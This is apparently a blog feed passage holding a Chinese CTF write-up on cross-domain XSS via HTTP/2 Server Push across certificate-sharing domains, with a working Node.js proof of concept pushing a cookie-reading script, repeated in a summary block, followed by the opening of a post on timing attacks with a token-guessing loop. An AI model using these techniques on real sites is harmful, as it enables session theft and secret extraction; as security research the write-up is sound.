<blockquote><p>As the owners of developers.google.com/web, we could get our server to push a response containing whatever we wanted for android.com, and set it to cache for a year. A simple fetch would be enough to drag that in the HTTP cache. Then, if our visitors went to android.com, they&rsquo;d see &ldquo;NATIVE SUX – PWA RULEZ&rdquo; in large pink comic sans, or whatever we wanted.</p><p>Of course, we wouldn&rsquo;t do that, we love Android. I&rsquo;m just saying… Android: if you mess with the web, we&rsquo;ll fuck you up.</p><p>Ok ok, I jest, but the above actually works. You can&rsquo;t push assets for <em>any origin</em>, but you can push assets for origins which your connection is &ldquo;authoritative&rdquo; for.</p><p>If you look at the certificate for developers.google.com, you can see it&rsquo;s authoritative for all sorts of Google origins, including android.com.</p></blockquote>
<p>我们在回到 HTTP/2 <a class="link" href="https://www.rfc-editor.org/rfc/rfc7540#section-8.2" target="_blank" rel="noopener">RFC 7540#Section-8.2</a> 中看：</p>
<blockquote><p>The server MUST include a value in the &ldquo;:authority&rdquo; pseudo-header field for which the server is authoritative (see Section 10.1). A client MUST treat a PUSH_PROMISE for which the server is not authoritative as a stream error (Section 5.4.2) of type PROTOCOL_ERROR.</p></blockquote>
<blockquote><p>HTTP/2 relies on the HTTP/1.1 definition of authority for determining whether a server is authoritative in providing a given response (see [RFC7230], Section 9.1). This relies on local name resolution for the &ldquo;http&rdquo; URI scheme and the authenticated server identity for the &ldquo;https&rdquo; scheme (see [RFC2818], Section 3).</p></blockquote>
<p>虽然 RFC 里面没有明确提示可以 Push 跨域资源，但是对于 Push 的资源一定要验证 <code>:authority</code> 头部。并且根据上述的博客内容，虽然我们没办法推送任何(any)域的资源，但是我们可以推送证书共用下的其他域名的资源，只要设置好<code>:authority</code>就行。</p>
<p>Let&rsquo;s try!</p>
<p>我们首先使用 <a class="link" href="https://github.com/FiloSottile/mkcert" target="_blank" rel="noopener">mkcert</a> 生成一张域名共用、用以测试的证书：</p>
<pre tabindex="0"><code>mkcert -key-file key.pem -cert-file cert.pem a.zedd.ovo b.zedd.ovo
</code></pre>
<p>用以下 nodejs 代码搭建一个 HTTP/2 服务器：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">http2</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s2">&#34;http2&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">path</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s2">&#34;path&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">fs</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s2">&#34;fs&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="p">{</span> <span class="nx">HTTP2_HEADER_PATH</span><span class="p">,</span> <span class="nx">HTTP2_HEADER_AUTHORITY</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">http2</span><span class="p">.</span><span class="nx">constants</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">MAIL_DOMAIN</span> <span class="o">=</span> <span class="s2">&#34;b.zedd.ovo&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">EXPLOIT_DOMAIN</span> <span class="o">=</span> <span class="s2">&#34;a.zedd.ovo&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">server</span> <span class="o">=</span> <span class="nx">http2</span><span class="p">.</span><span class="nx">createSecureServer</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">cert</span><span class="o">:</span> <span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="nx">path</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="nx">__dirname</span><span class="p">,</span> <span class="s2">&#34;cert.pem&#34;</span><span class="p">)),</span>
</span></span><span class="line"><span class="cl">        <span class="nx">key</span><span class="o">:</span> <span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="nx">path</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="nx">__dirname</span><span class="p">,</span> <span class="s2">&#34;key.pem&#34;</span><span class="p">)),</span>
</span></span><span class="line"><span class="cl">        <span class="nx">origins</span><span class="o">:</span> <span class="p">[</span><span class="sb">`https://</span><span class="si">${</span><span class="nx">EXPLOIT_DOMAIN</span><span class="si">}</span><span class="sb">`</span><span class="p">,</span> <span class="sb">`https://</span><span class="si">${</span><span class="nx">MAIL_DOMAIN</span><span class="si">}</span><span class="sb">`</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">url</span> <span class="o">===</span> <span class="s2">&#34;/&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">res</span><span class="p">.</span><span class="nx">end</span><span class="p">(</span><span class="s2">&#34;This is the HTTP/2 Server\n&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">url</span> <span class="o">===</span> <span class="s2">&#34;/set&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">res</span><span class="p">.</span><span class="nx">setHeader</span><span class="p">(</span><span class="s2">&#34;Set-Cookie&#34;</span><span class="p">,</span> <span class="sb">`mycookie=test; domain=</span><span class="si">${</span><span class="nx">MAIL_DOMAIN</span><span class="si">}</span><span class="sb">; path="/;" expires=</span><span class="si">${</span><span class="k">new</span> <span class="nb">Date</span><span class="p">(</span><span class="nb">Date</span><span class="p">.</span><span class="nx">now</span><span class="p">()</span> <span class="o">+</span> <span class="mi">60</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">).</span><span class="nx">toUTCString</span><span class="p">()</span><span class="si">}</span><span class="sb">`</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nx">res</span><span class="p">.</span><span class="nx">end</span><span class="p">(</span><span class="s2">&#34;Set cookie: mycookie="test\n&#34;"</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">url</span> <span class="o">===</span> <span class="s2">&#34;/csp&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">res</span><span class="p">.</span><span class="nx">setHeader</span><span class="p">(</span><span class="s2">&#34;Content-Security-Policy&#34;</span><span class="p">,</span> <span class="s2">&#34;default-src &#39;self&#39;&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nx">res</span><span class="p">.</span><span class="nx">end</span><span class="p">(</span><span class="s2">&#34;Set CSP\n&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">url</span> <span class="o">===</span> <span class="s2">&#34;/push&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">res</span><span class="p">.</span><span class="nx">stream</span><span class="p">.</span><span class="nx">pushStream</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="p">[</span><span class="nx">HTTP2_HEADER_AUTHORITY</span><span class="p">]</span><span class="o">:</span> <span class="nx">MAIL_DOMAIN</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="p">[</span><span class="nx">HTTP2_HEADER_PATH</span><span class="p">]</span><span class="o">:</span> <span class="s2">&#34;/&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="p">},</span>
</span></span><span class="line"><span class="cl">                <span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">pushStream</span><span class="p">,</span> <span class="nx">headers</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;push&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="nx">pushStream</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="s2">&#34;error&#34;</span><span class="p">,</span> <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                    <span class="kd">let</span> <span class="nx">content</span> <span class="o">=</span> <span class="s2">&#34;&lt;script&gt;alert(document.cookie);&lt;/script&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                    <span class="nx">pushStream</span><span class="p">.</span><span class="nx">respond</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;content-length&#34;</span><span class="o">:</span> <span class="nx">content</span><span class="p">.</span><span class="nx">length</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;content-type&#34;</span><span class="o">:</span> <span class="s2">&#34;text/html&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                    <span class="nx">pushStream</span><span class="p">.</span><span class="nx">end</span><span class="p">(</span><span class="nx">content</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="kd">let</span> <span class="nx">content</span> <span class="o">=</span> <span class="sb">`&lt;meta http-equiv="&#34;refresh&#34;" content="&#34;1;url=https://"</span><span class="si">${</span><span class="nx">MAIL_DOMAIN</span><span class="si">}</span><span class="sb">/&#34; /&gt;`</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="nx">res</span><span class="p">.</span><span class="nx">stream</span><span class="p">.</span><span class="nx">respond</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">                <span class="s2">&#34;content-length&#34;</span><span class="o">:</span> <span class="nx">content</span><span class="p">.</span><span class="nx">length</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="s2">&#34;content-type&#34;</span><span class="o">:</span> <span class="s2">&#34;text/html&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="p">});</span>
</span></span><span class="line"><span class="cl">            <span class="nx">res</span><span class="p">.</span><span class="nx">stream</span><span class="p">.</span><span class="nx">end</span><span class="p">(</span><span class="nx">content</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">server</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="mi">443</span><span class="p">);</span>
</span></span></code></pre></div>
<p>其中关键点是我们需要设置好 <code>[HTTP2_HEADER_AUTHORITY]: MAIL_DOMAIN</code> 的认证字段，需要符合证书共用当中的域名</p>
<p>我们需要做的就是：</p>
<ol><li>首先访问 <a class="link" href="https://b.zedd.ovo/set" target="_blank" rel="noopener">https://b.zedd.ovo/set</a> 设置 b 域名的 cookie</li><li>访问 <a class="link" href="https://a.zedd.ovo/push" target="_blank" rel="noopener">https://a.zedd.ovo/push</a> 让服务端 Push b 域名的资源</li><li>被X</li></ol>
<p><a class="link" href="https://imgtu.com/i/vGEiIs" target="_blank" rel="noopener"><figure><a href="https://s1.ax1x.com/2022/08/11/vGEiIs.gif"><img src="https://s1.ax1x.com/2022/08/11/vGEiIs.gif" loading="lazy" alt="vGEiIs.gif" /></a><figcaption>vGEiIs.gif</figcaption></figure></a></p>
<p>上面是一个 GIF ，如果它不动，请访问：https://s1.ax1x.com/2022/08/11/vGEiIs.gif</p>
<p>假设一个场景，我们可控 a.zedd.ovo 并且拥有证书，并且该域名跟 b.zedd.ovo 共用证书，接下来发生的事：</p>
<ol><li>通过 <a class="link" href="https://b.zedd.ovo/set" target="_blank" rel="noopener">https://b.zedd.ovo/set</a> 设置的 cookie 受到同源策略限制，我们无法从 a.zedd.ovo 获取 b 域名的 cookie</li><li>通过受害者访问 <a class="link" href="https://a.zedd.ovo/push" target="_blank" rel="noopener">https://a.zedd.ovo/push</a> ，我们通过 HTTP/2 Push 推送一个 b 域名的资源，并在 a 站上设置一个 refresh 跳转到 b 站上。此时因为是在 a 站上，即使不立即跳转，浏览器也不会加载我们 push 的资源，因为我们的 <code>:authority</code> 是属于 b 站的，只能在 b 站上加载</li><li>受害者跳到 b 站上后，浏览器尝试加载刚才我们 push 的资源，检查<code>:authority</code>等要素，符合当前域名的加载要求，加载该脚本，完成攻击</li></ol>
<h2 id="summary">Summary</h2>
<p>虽然看起来这个攻击比较 Magic ，优势自然无需多说，但是仔细思考其实限制还是比较大的：</p>
<ol><li>CSP 仍然可以限制：由于执行的资源仍然出于被攻击页面上下文，所以如果被攻击域仍然有 CSP 还是会受到限制</li><li>需要前提条件过多：所需要的域名控制权、证书要求等都比较受限</li><li>HTTP/2 Server Push 的现状以及未来：<ul><li>HTTP/2 Server Push 是一个目前默认开启的客户端选项，在客户端与服务端握手协商的时候会确定该选项是否开启，一些 CDN 并不支持 Server Push</li><li>虽然 Server Push 机制看起来很美好，但是在实践中该机制经常导致带宽浪费，因为服务器很少知道客户端已经加载了哪些资源，并且多次传输相同的资源</li><li>Chrome 在未来打算移除对 HTTP/2 Server Push 的默认支持：<a class="link" href="https://groups.google.com/a/chromium.org/g/blink-dev/c/K3rYLvmQUBY" target="_blank" rel="noopener">Intent to Remove: HTTP/2 and gQUIC server push</a></li></ul></li></ol>
<p>当然利用这种机制不只是 XSS ，而且我觉得 Push 的问题可能不止于此，但是奈何自己比较菜，目前没有进一步的想法；而且关于这种机制存在滥用是否为漏洞，我觉得也有一定争议，个人认为这只不过是一种正常功能的利用，而且利用难度较大，说是漏洞机制有点牵强。当然，欢迎大家一起来头脑风暴、交流思路~</p>
<p>本次 CTF 主要使用该技巧进行 XSS ，当然前面部分还涉及到证书的获取等等，这部分就没有 HTTP/2 Push 这个技巧这么精彩所以就不在此赘述，如果有对其他 CTF 赛题感兴趣的同学，欢迎移步到「Funny Web CTF」: <a class="link" href="https://t.zsxq.com/047y7iAuf" target="_blank" rel="noopener">https://t.zsxq.com/047y7iAuf</a></p>
<p>Thanks <a class="link" href="https://larry.sh/" target="_blank" rel="noopener">@ehhthing</a> for his amazing challenges!</p>
<h2 id="references">References</h2>
<p><a class="link" href="https://www.rfc-editor.org/rfc/rfc7540.html" target="_blank" rel="noopener">RFC7540</a></p>
<p><a class="link" href="https://jakearchibald.com/2017/h2-push-tougher-than-i-thought" target="_blank" rel="noopener">HTTP/2 push is tougher than I thought</a></p>
<p><a class="link" href="https://web.dev/performance-http2/" target="_blank" rel="noopener">Introduction to HTTP/2</a></p>
<p><a class="link" href="https://www.smashingmagazine.com/2017/04/guide-http2-server-push/" target="_blank" rel="noopener">A Comprehensive Guide To HTTP/2 Server Push</a></p>
<p><a class="link" href="https://en.wikipedia.org/wiki/HTTP/2_Server_Push" target="_blank" rel="noopener">HTTP/2 Server Push</a></p>
<p><a class="link" href="https://www.ruanyifeng.com/blog/2018/03/http2_server_push.html" target="_blank" rel="noopener">HTTP/2 服务器推送（Server Push）教程</a></p>]]></content><author><name>ZeddYu</name></author><category term="research" /><category term="web-security" /><summary type="html"><![CDATA[上周周末结束的 corCTF 中有一个题目提出了一种很有意思的攻击，该攻击方式可以利用 HTTP/2 Server Push 机制 XSS 到其他域，尽管利用条件有点苛刻，但是我个人非常喜欢这种 Magic 的攻击方式。（在征求了原作者 @ehhthing 同意下将该方法分享给大家） 文章首发于跳跳堂：A Magic Way of XSS in HTTP/2 TL;DR 在共享证书的情况下，如果我们对其中一个域名可控，并且拥有其证书，我们可以构建一个 HTTP/2 Server 通过 HTTP/2 Server Push 机制可以造成其他共享证书的域名下的 HTTP/2 站点的 Global XSS 利用条件： 证书共用：两个域名都需要共用一张证书HTTP/2: 攻击目标 Server 需要支持 HTTP/2已获得一个域名的所有权以及对应证书 HTTP/2 &amp;&amp; Server Push Server Push 机制算是 HTTP/2 协议中的一大新特性，我们可以简单了解一下 HTTP/2 以及 Server Push 的背景以及其工作机制。 Background HTTP，超文本传输协议，它是网络数据通信的基础。HTTP/1.1 在其生命周期中表现良好，但随着 Web 的发展，其协议设计已经无法在满足今天 Web 应用的性能需求，尽管 HTTP/1.1 中尝试增加 Pipline 等机制来优化并发等问题，但是其始终无法解决队头阻塞、发送重复的 Headers 数据、单个 TCP 链接利用效率较低等问题导致网络性能的降低。 HTTP/2 是自 1997 年 HTTP/1.1 首次由 IETF 发布以来的第一个主要 HTTP 协议更新，其对以前的版本做出了重大的改进，带来了很多新特性以及安全性功能等。例如新的二进制报文格式、多路复用、头部压缩、服务端推送等特性，今天我们主要介绍的特性就是服务端推送( Server Push )。 Browsing in HTTP/1.x 我们首先来看看没有 Server Push 的工作流程，在一般的 Web 访问流程中： 首先浏览器向服务端请求主页面 index.html，服务端响应 index.html 内容浏览器获取到主页应答后，开始解析主页的 html 标签，发现构建 DOM 树还需要 CSS/GIF/JS 等资源向服务端发起针对 CSS/GIF/JS 的内容请求浏览器获取并解析 JS 和 CSS 等内容，然后继续请求依赖资源 Pic From https://www.smashingmagazine.com/2017/04/guide-http2-server-push/ 这就是传统的网页请求方式，但是我们也能从中看到一些问题，比如对于如今的 Web 页面，至少需要两轮以上的 HTTP 通信才能完整加载页面，而如果在请求 CSS 文件的时候遇到网络问题、或者文件过大，就会导致页面内容杂乱无章，极大地降低了用户体验。 当然目前也有一些解决方法，比如把外部资源合并在网页文件里面，减少 HTTP 请求，例如把图片以 Base64 放到 URI 中；又或者使用 预加载（preload）机制。 这两种方法都有缺点。第一种方法虽然减少了 HTTP 请求，但是把不同类型的代码合并在一个文件里，违反了分工原则。第二种方法只是提前了下载时间，并没有减少 HTTP 请求。 What Server Push is HTTP/2 Server Push allows an HTTP/2-compliant server to send resources to an HTTP/2-compliant client before the client requests them. Server Push is a performance technique aimed at reducing latency by loading resources preemptively, even before the client knows they will be needed.HTTP/2 Server Push is not a notification mechanism from server to client. Instead, pushed resources are used by the client when it may have otherwise produced a request to get the resource anyway. HTTP/2 服务器推送允许符合 HTTP/2 的服务器在客户端请求资源之前将资源发送到符合 HTTP/2 的客户端。服务器推送是一种性能技术，旨在通过抢先加载资源来减少延迟，甚至在客户端知道它们将被请求之前。 举个例子，浏览器只请求了 index.html ，但是服务器会把 index.html/style.css/example.png 全部发送给浏览器，这样只需要一轮 HTTP 通信，浏览器就得到了全部资源，从而提高了性能。 但是 HTTP/2 服务器推送不是从服务器到客户端的通知机制，相反，当客户端可能已经产生了获取资源的请求时，客户端才会使用推送的资源。 How it works 我们来简单了解一下 Server Push 的工作流程： 首先浏览器向服务端请求主页面 index.html，服务端响应 index.html 内容同时，服务器预测到了客户端需要请求 styles.css 等静态资源，在无需客户端请求 styles.css 的情况下，随后发送 styles.css 的内容给客户端浏览器依次获得 index.html/styles.css 等内容，完成解析 DOM 树构造 https://www.smashingmagazine.com/2017/04/guide-http2-server-push/ 当然上述的“预测”是需要进行一些简单的服务器配置的，例如我们使用 Nginx ，需要在 Nginx 中使用 http2_push 进行如下配置： server { listen 443 ssl http2; server_name _; ssl_certificate /parth/to/cert.pem; ssl_certificate_key /path/to/key.pem; root /var/www/html/; http2_push /styles.css; location = / { index index.html; } } 在服务器已准备好 HTTP/2 Push 后，则当服务器收到 index.html 的请求时，服务器可以"预测"客户端随后应该会对 styless.css 等资源发起请求。我们从一个流量报文简单分析一下： 服务器在 Stream ID 1 中接收到请求 index.html 的 HEADERS 帧，它可以“预测”对 styles.css 的需求，根据服务器配置推送 styles.css服务器再次在 Stream ID 1 中为 styles.css 发送 PUSH_PROMISE ，这些帧大致相当于浏览器的请求服务器在 Stream ID 1 中发送一个 HEADERS 帧以响应对 index.html 的请求服务器发送带有 index.html 内容的 DATA 帧，仍然在 Stream ID 1 中服务器发送 HEADERS 帧以响应流 2 中的 styles.css （HEADERS[2]/DATA[2]） v8xkwV.png 我们需要在 index.html 放置对应加载的资源才能看到 Chrome 对 push 资源的显示，例如： &lt;head&gt;&lt;link rel=&#34;icon&#34; href=&#34;data:,&#34;&gt;&lt;link rel=&#34;stylesheet&#34; href=&#34;styles.css&#34;&gt;&lt;/head&gt; This is push index 倘若这里不使用 link 标签加载 styles.css 资源文件的话，在控制台是看不到 Push 这个网络请求的 Where the bug is 既然是推送资源，那我们要是跨域加载一些其他资源会怎么样呢？是不是也可以通过 Push 实现呢？毕竟对于一些 CSS/JS 等资源进行跨域请求在现在互联网是非常常见的，那 HTTP/2 Push 里面应该怎么做呢？ 在一些中文互联网资料里面，有些资料明确说不可以，有些说可以，最后在一篇 HTTP/2 push is tougher than I thought 博客里面找到了答案： As the owners of developers.google.com/web, we could get our server to push a response containing whatever we wanted for android.com, and set it to cache for a year. A simple fetch would be enough to drag that in the HTTP cache. Then, if our visitors went to android.com, they&rsquo;d see &ldquo;NATIVE SUX – PWA RULEZ&rdquo; in large pink comic sans, or whatever we wanted.Of course, we wouldn&rsquo;t do that, we love Android. I&rsquo;m just saying… Android: if you mess with the web, we&rsquo;ll fuck you up.Ok ok, I jest, but the above actually works. You can&rsquo;t push assets for any origin, but you can push assets for origins which your connection is &ldquo;authoritative&rdquo; for.If you look at the certificate for developers.google.com, you can see it&rsquo;s authoritative for all sorts of Google origins, including android.com. 我们在回到 HTTP/2 RFC 7540#Section-8.2 中看： The server MUST include a value in the &ldquo;:authority&rdquo; pseudo-header field for which the server is authoritative (see Section 10.1). A client MUST treat a PUSH_PROMISE for which the server is not authoritative as a stream error (Section 5.4.2) of type PROTOCOL_ERROR. HTTP/2 relies on the HTTP/1.1 definition of authority for determining whether a server is authoritative in providing a given response (see [RFC7230], Section 9.1). This relies on local name resolution for the &ldquo;http&rdquo; URI scheme and the authenticated server identity for the &ldquo;https&rdquo; scheme (see [RFC2818], Section 3). 虽然 RFC 里面没有明确提示可以 Push 跨域资源，但是对于 Push 的资源一定要验证 :authority 头部。并且根据上述的博客内容，虽然我们没办法推送任何(any)域的资源，但是我们可以推送证书共用下的其他域名的资源，只要设置好:authority就行。 Let&rsquo;s try! 我们首先使用 mkcert 生成一张域名共用、用以测试的证书： mkcert -key-file key.pem -cert-file cert.pem a.zedd.ovo b.zedd.ovo 用以下 nodejs 代码搭建一个 HTTP/2 服务器： const http2 = require(&#34;http2&#34;); const path = require(&#34;path&#34;); const fs = require(&#34;fs&#34;); const { HTTP2_HEADER_PATH, HTTP2_HEADER_AUTHORITY } = http2.constants; const MAIL_DOMAIN = &#34;b.zedd.ovo&#34;; const EXPLOIT_DOMAIN = &#34;a.zedd.ovo&#34;; const server = http2.createSecureServer( { cert: fs.readFileSync(path.join(__dirname, &#34;cert.pem&#34;)), key: fs.readFileSync(path.join(__dirname, &#34;key.pem&#34;)), origins: [`https://${EXPLOIT_DOMAIN}`, `https://${MAIL_DOMAIN}`], }, (req, res) =&gt; { if (req.url === &#34;/&#34;) { res.end(&#34;This is the HTTP/2 Server\n&#34;); } else if (req.url === &#34;/set&#34;) { res.setHeader(&#34;Set-Cookie&#34;, `mycookie=test; domain=${MAIL_DOMAIN}; path="/;" expires=${new Date(Date.now() + 60 * 1000).toUTCString()}`); res.end(&#34;Set cookie: mycookie="test\n&#34;"); } else if (req.url === &#34;/csp&#34;) { res.setHeader(&#34;Content-Security-Policy&#34;, &#34;default-src &#39;self&#39;&#34;); res.end(&#34;Set CSP\n&#34;); } else if (req.url === &#34;/push&#34;) { res.stream.pushStream( { [HTTP2_HEADER_AUTHORITY]: MAIL_DOMAIN, [HTTP2_HEADER_PATH]: &#34;/&#34;, }, (err, pushStream, headers) =&gt; { console.log(&#34;push&#34;); pushStream.on(&#34;error&#34;, console.error); let content = &#34;&lt;script&gt;alert(document.cookie);&lt;/script&gt;&#34;; pushStream.respond({ &#34;content-length&#34;: content.length, &#34;content-type&#34;: &#34;text/html&#34;, }); pushStream.end(content); } ); let content = `&lt;meta http-equiv="&#34;refresh&#34;" content="&#34;1;url=https://"${MAIL_DOMAIN}/&#34; /&gt;`; res.stream.respond({ &#34;content-length&#34;: content.length, &#34;content-type&#34;: &#34;text/html&#34;, }); res.stream.end(content); } } ); server.listen(443); 其中关键点是我们需要设置好 [HTTP2_HEADER_AUTHORITY]: MAIL_DOMAIN 的认证字段，需要符合证书共用当中的域名 我们需要做的就是： 首先访问 https://b.zedd.ovo/set 设置 b 域名的 cookie访问 https://a.zedd.ovo/push 让服务端 Push b 域名的资源被X vGEiIs.gif 上面是一个 GIF ，如果它不动，请访问：https://s1.ax1x.com/2022/08/11/vGEiIs.gif 假设一个场景，我们可控 a.zedd.ovo 并且拥有证书，并且该域名跟 b.zedd.ovo 共用证书，接下来发生的事： 通过 https://b.zedd.ovo/set 设置的 cookie 受到同源策略限制，我们无法从 a.zedd.ovo 获取 b 域名的 cookie通过受害者访问 https://a.zedd.ovo/push ，我们通过 HTTP/2 Push 推送一个 b 域名的资源，并在 a 站上设置一个 refresh 跳转到 b 站上。此时因为是在 a 站上，即使不立即跳转，浏览器也不会加载我们 push 的资源，因为我们的 :authority 是属于 b 站的，只能在 b 站上加载受害者跳到 b 站上后，浏览器尝试加载刚才我们 push 的资源，检查:authority等要素，符合当前域名的加载要求，加载该脚本，完成攻击 Summary 虽然看起来这个攻击比较 Magic ，优势自然无需多说，但是仔细思考其实限制还是比较大的： CSP 仍然可以限制：由于执行的资源仍然出于被攻击页面上下文，所以如果被攻击域仍然有 CSP 还是会受到限制需要前提条件过多：所需要的域名控制权、证书要求等都比较受限HTTP/2 Server Push 的现状以及未来：HTTP/2 Server Push 是一个目前默认开启的客户端选项，在客户端与服务端握手协商的时候会确定该选项是否开启，一些 CDN 并不支持 Server Push虽然 Server Push 机制看起来很美好，但是在实践中该机制经常导致带宽浪费，因为服务器很少知道客户端已经加载了哪些资源，并且多次传输相同的资源Chrome 在未来打算移除对 HTTP/2 Server Push 的默认支持：Intent to Remove: HTTP/2 and gQUIC server push 当然利用这种机制不只是 XSS ，而且我觉得 Push 的问题可能不止于此，但是奈何自己比较菜，目前没有进一步的想法；而且关于这种机制存在滥用是否为漏洞，我觉得也有一定争议，个人认为这只不过是一种正常功能的利用，而且利用难度较大，说是漏洞机制有点牵强。当然，欢迎大家一起来头脑风暴、交流思路~ 本次 CTF 主要使用该技巧进行 XSS ，当然前面部分还涉及到证书的获取等等，这部分就没有 HTTP/2 Push 这个技巧这么精彩所以就不在此赘述，如果有对其他 CTF 赛题感兴趣的同学，欢迎移步到「Funny Web CTF」: https://t.zsxq.com/047y7iAuf Thanks @ehhthing for his amazing challenges! References RFC7540 HTTP/2 push is tougher than I thought Introduction to HTTP/2 A Comprehensive Guide To HTTP/2 Server Push HTTP/2 Server Push HTTP/2 服务器推送（Server Push）教程]]></summary></entry><entry><title type="html">Practical Timeless Timing Attacks</title><link href="https://blog.zeddyu.info/2022/02/21/2022-02-21-PracticalTimingTimeless/" rel="alternate" type="text/html" title="Practical Timeless Timing Attacks" /><published>2022-02-21T00:00:00+00:00</published><updated>2022-02-21T00:00:00+00:00</updated><id>https://blog.zeddyu.info/2022/02/21/2022-02-21-PracticalTimingTimeless</id><content type="html" xml:base="https://blog.zeddyu.info/2022/02/21/2022-02-21-PracticalTimingTimeless/"><![CDATA[<p>Timing attacks on web applications have traditionally been unreliable due to network jitter. A 1ms difference in server processing time can be obscured by 50ms of network variance. In this post, I explore practical techniques for exploiting timing side-channels in web applications using timeless timing attacks.</p>

<h2 id="the-problem-with-traditional-timing-attacks">The Problem with Traditional Timing Attacks</h2>

<p>A classic timing attack measures response time to infer information:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">requests</span><span class="p">,</span> <span class="n">time</span>

<span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="sh">'</span><span class="s">abcdefghijklmnopqrstuvwxyz</span><span class="sh">'</span><span class="p">:</span>
    <span class="n">start</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="nf">time</span><span class="p">()</span>
    <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sa">f</span><span class="sh">'</span><span class="s">https://target.com/api?token=</span><span class="si">{</span><span class="n">char</span><span class="si">}</span><span class="s">...</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">elapsed</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="nf">time</span><span class="p">()</span> <span class="o">-</span> <span class="n">start</span>
